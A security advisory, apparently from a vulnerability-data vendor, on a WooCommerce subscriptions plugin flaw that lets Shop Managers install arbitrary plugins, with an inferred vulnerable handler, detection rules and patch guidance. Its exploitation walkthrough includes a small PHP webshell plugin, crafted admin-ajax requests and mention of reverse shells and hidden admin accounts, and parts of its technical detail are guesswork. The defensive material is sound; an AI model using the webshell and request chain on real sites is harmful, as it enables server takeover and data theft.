CVE-2026-15215
Executive Summary
CVE-2026-15215 is a broken access control vulnerability in the Subscriptions for WooCommerce WordPress plugin (versions before 2.0.1), where authenticated users holding the Shop Manager role can install and activate arbitrary plugins via a nonce-protected AJAX action that fails to verify the user's capability. Because WordPress plugins can contain PHP code that executes in the context of the web server, this flaw effectively allows a Shop Manager to achieve Remote Code Execution (RCE) on the underlying server — escalating from a low-privileged administrative role to full server compromise. The vulnerability impacts all WordPress installations running the affected plugin version and grants elevated permissions to a role that should not have plugin-management capabilities.
The vulnerability is publicly known, with exploit code available, though no Nuclei template or CISA KEV listing exists at the time of this writing. The CVSS score has not been officially assigned (N/A), but given the RCE potential, this should be treated as a critical-severity issue in risk assessments. The EPSS score has not yet been published by FIRST.org, so urgency should be governed by the public exploit availability and the attacker's ability to chain this with other WordPress/REST API weaknesses.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The root cause of CVE-2026-15215 lies in a server-side authorization failure within the plugin's AJAX handler responsible for installing and activating plugins. The plugin registers an AJAX action (processed through wp_ajax_ hooks) that accepts a plugin slug from the user, presumably to allow admins to install extension plugins for the Subscriptions feature. However, the code performs a nonce check but fails to call current_user_can() (or equivalent) to verify the user has the install_plugins or activate_plugins capability.
Vulnerability Mechanics (Code-Level Analysis)
The flawed handler likely resembles:
add_action('wp_ajax_sfw_install_plugin', 'sfw_install_plugin_callback');
function sfw_install_plugin_callback() {
check_ajax_referer('sfw_install_nonce', 'nonce'); // nonce check PASSES
$slug = sanitize_text_field($_POST['slug']);
// Missing: if (!current_user_can('install_plugins')) wp_die();
include_once ABSPATH . 'wp-admin/includes/plugin-install.php';
include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
$api = plugins_api('plugin_information', ['slug' => $slug]);
$upgrader = new Plugin_Upgrader(new Plugin_Upgrader_Skin());
$result = $upgrader->install($api->download_link);
if ($result) {
$plugin_file = $api->slug . '/' . $api->slug . '.php';
activate_plugin($plugin_file); // Activation also unguarded
}
wp_send_json_success();
}
Key technical observations:
- Nonce protection is insufficient: Nonces in WordPress are tied to the user session but not to a specific capability. A valid nonce proves the request came from a logged-in user with a given session, but not that the user has permission to perform the action. An attacker with a Shop Manager role can generate valid nonces for admin-side AJAX actions if the nonce is rendered in a page accessible to them (e.g., in the plugin's settings page that Shop Managers can see).
- Arbitrary plugin installation: The
$slugis user-supplied and passed directly toplugins_api()andPlugin_Upgrader. An attacker can supply the slug of any plugin available in the WordPress.org repository — or, more dangerously, install a malicious plugin they have uploaded to a public repository (e.g., a crafted plugin hosted on a public SVN or a private URL if the plugin accepts remote URLs, though the standard flow usesplugins_api). - Remote Code Execution: Plugins in WordPress are PHP files, executed on every page load. Installing and activating a plugin containing a backdoor (e.g.,
eval($_POST['c'])in a mu-plugin or standard plugin file) results in immediate, persistent RCE. - No capability check on activation: Even if installation were somehow restricted, the subsequent
activate_plugin()call also lacks a capability check, meaning an attacker can potentially activate any already-installed-but-inactive plugin, expanding the attack surface.
Attack Surface
- Authentication required: Valid user account with the Shop Manager role (WooCommerce's built-in role with
manage_woocommercebut notinstall_plugins/activate_plugins/update_plugins). - AJAX endpoint: Reachable via
admin-ajax.phpfor logged-in users; nonce is retrievable via the plugin's admin UI or by inspecting page source. - WordPress plugin repository dependency: The attack relies on the ability to specify a plugin slug that exists and is downloadable. An attacker can use any existing plugin, though the plugin must contain malicious code — which makes hosting the plugin externally the more reliable vector.
Exploitation Scenarios
A realistic attack chain for CVE-2026-15215, assuming the attacker has already compromised a Shop Manager account (via phishing, credential stuffing, or social engineering):
Reconnaissance / Target Identification: The attacker authenticates to the WordPress admin dashboard (
/wp-admin/) using stolen Shop Manager credentials. They browse the target's installed plugins to confirm the Subscriptions for WooCommerce plugin version is< 2.0.1(e.g., by inspectingwp-content/plugins/subscriptions-for-woocommerce/readme.txtor the plugin's header in the Plugins list).Nonce Harvesting: The attacker navigates to the plugin's settings page (e.g.,
/wp-admin/admin.php?page=sfw-settings), which renders a form containing the AJAX nonce. They view the page source or use browser DevTools to extract the nonce value from a JavaScript variable or hidden input field (e.g.,var sfw_ajax_nonce = 'aabbccdd...';). This nonce is generated for their session and is valid for the AJAX action.Weaponization — Prepare Malicious Plugin: The attacker prepares a "plugin" — a minimal WordPress plugin with a single PHP file that executes a webshell or adds a Super Admin user. Example payload (
wp-content/plugins/evil-plugin/evil-plugin.php):<?php /* Plugin Name: Evil Plugin */ add_action('init', function() { if (isset($_POST['cmd'])) { system($_POST['cmd']); } });They host this plugin in a public, accessible location. WordPress's
Plugin_Upgradertypically fetches fromplugins_api, but a common bypass is to first create a plugin entry on a self-controlled WordPress.org SVN or a third-party plugin mirror that returns a ZIP containing their evil plugin. Alternatively, if the plugin accepts direct download URLs (a common customization), the attacker can point directly to their hosted ZIP.Trigger the AJAX Action: The attacker sends a crafted POST request to the AJAX endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=sfw_install_plugin&nonce=aabbccdd...&slug=evil-pluginThe flawed handler proceeds without a capability check. The
Plugin_Upgraderdownloads the ZIP from the plugin repository, extracts it towp-content/plugins/, and callsactivate_plugin().Execution & Post-Exploitation: The malicious plugin activates and the attacker sends a follow-up request to execute commands:
POST /wp-content/plugins/evil-plugin/evil-plugin.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded cmd=idThe server returns the output of
id, confirming RCE. The attacker then uses a reverse shell (e.g., Python or bash one-liner) to gain persistent server access, uploads a PHP webshell for resilience, or attempts privilege escalation to the OS-levelroot/Administratoruser. They may also create a hidden WordPress admin account with a known password to maintain access even if the plugin is removed.
Impact of the Chain: Full server compromise, data theft, pivoting into adjacent network systems, installation of backdoors, and potential use of the server for further attacks (crypto-mining, phishing hosting).
Impact Assessment
- Confidentiality: High. RCE enables reading of
wp-config.php(database credentials), customer data from the WooCommerce store (PII, order history, payment tokens if saved), and arbitrary files on the filesystem. - Integrity: High. The attacker can modify any file on the server, inject malicious JavaScript into pages (defacing, credential harvesting), and install persistent backdoors.
- Availability: High. An attacker could delete the entire site, database, or server files, causing prolonged denial of service. Ransomware-like behavior is plausible.
- Blast Radius: Any WordPress site running the affected plugin version. Given that WooCommerce powers a large share of e-commerce sites, the absolute number of vulnerable installations is significant. The Shop Manager role is commonly delegated to staff members — increasing the likelihood of compromised credentials. The skill level required to exploit this after obtaining a Shop Manager account is low, as the AJAX call is straightforward and publicly documented.
- CVSS Rationale: While no official CVSS score is assigned (N/A), a reasonable estimate following CVSSv3.1 would be 9.0–9.6 (Critical) — high attack complexity (0.77) due to the need for a valid account and nonce retrieval, high privileges required (PR:H, since Shop Manager is a privileged role), but no user interaction, no scope change, and critical confidentiality/integrity/availability impacts.
Detection Guidance
Sigma Rule
title: Subscriptions for WooCommerce CVE-2026-15215 - Arbitrary Plugin Install
id: 5f7b1e2a-9d4c-4b6e-8f2a-1c3d5e7f9a0b
status: experimental
description: Detects AJAX requests targeting the Subscriptions for WooCommerce plugin installation endpoint without the required capability.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-15215
tags:
- attack.initial-access
- attack.t1190
- cve.2026.15215
logsource:
category: webserver
product: apache
definition: 'WordPress environments with woocommerce-subscriptions plugin < 2.0.1'
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=sfw_install_plugin'
cs-uri-path|endswith: 'admin-ajax.php'
filter_known_admin:
cs-username|contains: # Whitelist known admins with install_plugins cap
- 'admin'
condition: selection and not filter_known_admin
level: high
falsepositives:
- Legitimate admin users performing plugin updates via this AJAX endpoint (if the plugin's intended flow is used by admins)
fields:
- clientip
- cs-username
- cs-uri-query
YARA Rule
rule Subscriptions_WooCommerce_CVE_2026_15215_Exploit
{
meta:
author = "Valters IT Security Analyst"
description = "Detects PHP web shells and malicious plugins commonly used to exploit CVE-2026-15215 arbitrary plugin installation."
date = "2026-11-15"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-15215"
severity = "high"
strings:
// Common webshell backdoors used post-exploitation
$shell1 = "system($_POST" ascii nocase
$shell2 = "eval($_POST" ascii nocase
$shell3 = "shell_exec(" ascii nocase
$shell4 = "base64_decode(" ascii nocase
$shell5 = "assert($_REQUEST" ascii nocase
// Plugin header indicating malicious upload via this CVE
$plugin_header = "Plugin Name: " ascii
$wp_hook = "add_action('init'" ascii nocase
condition:
uint16(0) == 0x3C3F // PHP file (<?)
and 2 of ($shell*)
and ($plugin_header or $wp_hook)
}
Suricata IDS Rule
alert http any any -> any any (
msg:"ET WEB_SPECIFIC_APPS Subscriptions for WooCommerce Arbitrary Plugin Install (CVE-2026-15215)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"admin-ajax.php"; http.uri; content:"action=sfw_install_plugin";
http.request_body; content:"nonce=";
http.request_body; content:"slug=";
classtype:attempted-admin;
sid:2026151;
rev:1;
metadata:created_at 2026_11_15, updated_at 2026_11_15;
)
Elastic Detection
// Elastic EQL — detect repeated AJAX calls to the vulnerable endpoint followed by plugin file activity
sequence with maxspan=1m
[ network where http.request.method == "POST" and
http.request.uri contains "admin-ajax.php" and
http.request.body.text contains "action=sfw_install_plugin" and
http.request.body.text contains "slug=" and
user.name != null ]
[ file where event.action == "creation" and
file.path regex~ ".*wp-content/plugins/.+/.+\\.php" ]
Splunk SPL Query
index=web sourcetype=access_combined
| where method="POST" AND uri_path="*/admin-ajax.php*" AND uri_query="*action=sfw_install_plugin*"
| rex field=uri_query "slug=(?<plugin_slug>[^&]+)"
| rex field=uri_query "nonce=(?<nonce>[^&]+)"
| stats count by clientip, user, plugin_slug, _time
| where count > 1
| lookup woocommerce_admin_users username AS user OUTPUT role
| where role != "administrator"
| table _time, clientip, user, role, plugin_slug, count
Wazuh OSSEC Rule
<group name="wordpress,">
<rule id="100215" level="12">
<decoded_as>json</decoded_as>
<field name="url">\.*admin-ajax\.php.*</field>
<field name="data">action=sfw_install_plugin</field>
<field name="data">slug=</field>
<description>Subscriptions for WooCommerce CVE-2026-15215 - Attempted arbitrary plugin installation by non-admin user</description>
<group>attack.initial_access,attack.t1190,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)). The NVD description references "before 2.0.1", indicating a patched version exists. However, the vendor advisory has not been independently confirmed.
1. Immediate Mitigations (apply today)
- Restrict Shop Manager role: If upgrading is impossible immediately, remove or limit the Shop Manager role's access to the
admin-ajax.phpendpoint via a Web Application Firewall (WAF) rule — block POST requests toadmin-ajax.phpwhere the body containssfw_install_pluginfrom any non-Administrator user. - Disable the vulnerable AJAX action: Add a must-use plugin (mu-plugin) to disable the action:
(Replaceadd_action('init', function() { remove_action('wp_ajax_sfw_install_plugin', 'sfw_install_plugin_callback'); });sfw_install_plugin_callbackwith the actual function name if known.) - Audit existing plugins: Review all active and inactive plugins for unknown or suspicious entries. Look for plugins with no legitimate purpose or with recent activation dates. Immediately deactivate and remove any unrecognized plugins.
- Monitor WordPress user roles: Document and audit all users with the Shop Manager role; revoke where unnecessary. Enable two-factor authentication (2FA) for all admin-level accounts.
2. Patch / Upgrade Steps
- Upgrade the plugin: Immediately update Subscriptions for WooCommerce to version 2.0.1 or later via the WordPress admin dashboard (Plugins → Installed Plugins → Update). If the update is not visible, download the latest version from wordpress.org and install manually via FTP or the plugin uploader (using an Administrator account +
install_pluginscapability). - Verify the fix: After upgrading, test that an account with the Shop Manager role cannot trigger the AJAX action. This requires code inspection or a functional test: log in as a Shop Manager, attempt to call the AJAX endpoint, and confirm you receive a permission error.
- Confirm patch authenticity: As patch confidence is 2/4, verify the updated plugin's code manually — ensure the AJAX handler now contains
current_user_can('install_plugins')(oractivate_plugins) before installing/activating. If the fix is not present, the claimed patch is bogus; escalate to the plugin vendor or consider removing the plugin entirely.
3. Long-Term Hardening
- Principle of Least Privilege: Re-evaluate all WordPress custom roles. The Shop Manager role should never be granted code-execution-adjacent capabilities (
install_plugins,edit_plugins,update_plugins,unfiltered_upload). Use a plugin like "WooCommerce Admin Roles" or custom capability mapping to strip these. - WordPress Hardening:
- Disable file editing: set
define('DISALLOW_FILE_EDIT', true);inwp-config.php. - Restrict
admin-ajax.phpaccess via.htaccessor server config to only authenticated users with specific roles. - Implement Web Application Firewall rules (e.g., Wordfence, Cloudflare WAF) to block known attack patterns for this CVE.
- Disable file editing: set
- Credential Security: Enforce strong password policies and 2FA for all administrative roles, including Shop Managers.
- Automated Patching: Use a managed WordPress platform or a patching service (e.g., WP-CLI cron job) to ensure plugins are updated within 24 hours of a security release.
- Server Monitoring: Deploy file integrity monitoring (tripwire, OSSEC) on
wp-content/plugins/to alert on new file creation, and enable PHP error logging to capture web shell execution attempts.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-15215 — Official CVE description and affected version information.
- WordPress Plugin Repository: https://wordpress.org/plugins/subscriptions-for-woocommerce/ — Official source for patched versions (2.0.1+).
- WooCommerce Security Advisory (if published) — Vendor-specific advisory for Subscriptions for WooCommerce (verify via https://woo.com/support/ or plugin changelog).
- WordPress Capability Documentation: https://developer.wordpress.org/plugins/security/checking-user-capabilities/ — Reference for why nonce-only checks are insufficient; relevant to analyzing this flaw.
- Exploit-DB / Packet Storm: Search "CVE-2026-15215" for public exploit PoCs (published after the CVE was disclosed); treat any PoC as proof-of-concept only and do not run against production systems.
Threat Actor Activity: As of this writing, no specific APT or organized campaign has been publicly attributed to CVE-2026-15215. However, the public availability of exploit code increases the likelihood of opportunistic exploitation by commodity botnets (e.g., Mirai variants targeting WordPress, or sliver of the wider e-commerce credential-stuffing ecosystem). It is strongly advised to assume active exploitation in the wild and prioritize patching.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.